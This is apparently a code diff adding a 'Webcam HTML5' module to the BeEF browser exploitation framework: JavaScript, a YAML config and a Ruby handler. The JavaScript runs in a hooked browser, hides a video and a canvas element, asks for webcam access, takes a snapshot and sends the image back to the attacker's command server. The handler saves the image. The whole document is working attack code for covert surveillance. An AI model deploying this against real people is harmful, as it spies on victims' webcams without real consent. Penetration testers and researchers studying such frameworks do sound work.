#882. New HTML5 WebRTC Webcam Module

modules/browser/webcam_html5/command.js

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+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+
+beef.execute(function() {
+    var vid_id = beef.dom.generateID();
+    var can_id = beef.dom.generateID();
+    var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
+    var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
+    $j('body').append(vid_el);
+    $j('body').append(can_el);
+
+    var ctx = can_el.getContext('2d');
+
+    var localMediaStream = null;
+
+    var cap = function() {
+        if (localMediaStream) {
+            ctx.drawImage(vid_el,0,0);
+            beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
+        } else {
+            beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong');
+        }
+    }
+
+    window.URL = window.URL || window.webkitURL;
+    navigator.getUserMedia  = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
+
+    navigator.getUserMedia({video:true},function(stream) {
+        vid_el.src = window.URL.createObjectURL(stream);
+        localMediaStream = stream;
+        setTimeout(cap,2000);
+
+    }, function(err) {
+        beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed');
+    });
+
+
+
+
+});
+
+
+
+
+

modules/browser/webcam_html5/config.yaml

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+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        webcam_html5:
+            enable: true
+            category: "Browser"
+            name: "Webcam HTML5"
+            description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
+            authors: ["xntrik"]
+            target:
+                 user_notify: ["C"]
+                 unknown: ["All"]

modules/browser/webcam_html5/module.rb

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+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+require 'base64'
+class Webcam_html5 < BeEF::Core::Command
+  
+	def post_execute 
+		content = {}
+		content["result"] = @datastore["result"] if not @datastore["result"].nil?
+    content["image"] = @datastore["image"] if not @datastore["image"].nil?
+		save content
+	end
+
+end